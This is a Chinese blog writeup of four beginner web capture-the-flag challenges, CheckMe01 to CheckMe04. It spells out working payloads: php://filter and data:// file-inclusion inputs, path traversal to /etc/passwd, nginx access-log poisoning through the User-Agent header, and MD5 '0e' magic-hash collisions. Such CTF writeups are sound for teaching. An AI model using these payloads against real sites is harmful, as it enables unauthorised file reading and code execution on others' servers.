[青少年CTF]Web-CheckMe01-04 writeup
0x01 CheckMe01
进入环境,随意输入字符:
看一下代码,发现$keys = base64_decode(urldecode($keys));
说明需要先将qsnctf
字符进行base64编码才能使$keys=="qsnctf"
判断成立。
所以输入:
1 | cXNuY3Rm |
得到flag
0x02 CheckMe02
打开题目的环境,发现是文件包含题:
通过
1 | ?url=php://filter/read=convert.base64-encode/resource=index.php |
php伪协议可以查看到index.php
的源码的base64:
1 | PHRpdGxlPkNoZWNrTWUtMDI8L3RpdGxlPg0KPD9waHANCnByaW50KCI8aDE+5qyi6L+O5p2l5YiwQ2hlY2tNZS0wMu+8jOW/q+adpeWvu+aJvuS9oOeahEZsYWflubbmj5DkuqTlkKfjgII8L2gxPiIpOw0KPz4NCjw/cGhwDQplcnJvcl9yZXBvcnRpbmcoMCk7DQokdXJsPSRfR0VUWyd1cmwnXTsNCmlmKGlzc2V0KCR1cmwpKXsNCiAgICBpbmNsdWRlKCR1cmwpOw0KfQ0KICAgIA0KPz4NCjxodG1sIGxhbmc9InpoLUNOIj4NCjw/cGhwDQogICAgICAgICAgICANCiAgICAgICAgICAgICRjb2RlPSI8P3BocCBpbmNsdWRlKCQiLiJfR0VUWyd1cmwnXSk7Pz4iOw0KICAgICAgICAgICAgaGlnaGxpZ2h0X3N0cmluZygkY29kZSk7DQogICAgPz4NCg== |
解码得到:
1 | <title>CheckMe-02</title> |
可以看出并没有做任何过滤,试试读取phpinfo():
1 | ?url=data:text/plain,<?php phpinfo();?> |
直接读取到FLAG。
0x03 CheckMe03
打开题目环境:
还是文件包含题目,相比于CheckMe02
这题把php伪协议过滤了。
但是还是可以读取到文件,比如/etc/passwd
:
1 | ?text=../../../etc/passwd |
那说明还可以通过日志来解析PHP语句。
根据nginx配置文件:
1 | ?text=../../../etc/nginx/nginx.conf |
可以推测access.log文件所在位置为/var/log/nginx/access.log
,这个日志文件会记录http请求日志:
1 | ?text=../../../var/log/nginx/access.log |
所以通过发送一个包含<?php phpinfo();?>
语句的http请求来写入access.log
文件,这里就要用到burpsuite
来拦截请求包,修改里面的User-Agent
字段:
然后再通过文件包含漏洞访问access.log
日志文件:
找到FLAG
:
0x04 CheckMe04
打开题目环境:
分析一下这段代码,变量a只能为字母,b只能为数字,然后他们各自的MD5
值如果想等就输出flag。
这里通过0e截断可以做到,因为0e
在是科学计数的语法,0e后面不管多大都是0
所以只需要找到两个0e开头的md5就行了
但不要忘了a只能是字母,b只能是数字:
a = QNKCDZO
md5(a) = 0e830400451993494058024219903391
b = 240610708
md5(b) = 0e462097431906509019562988736854
所以Payload:
1 | http://xxx/?a=QNKCDZO&b=240610708 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 q1jun's Blog!
评论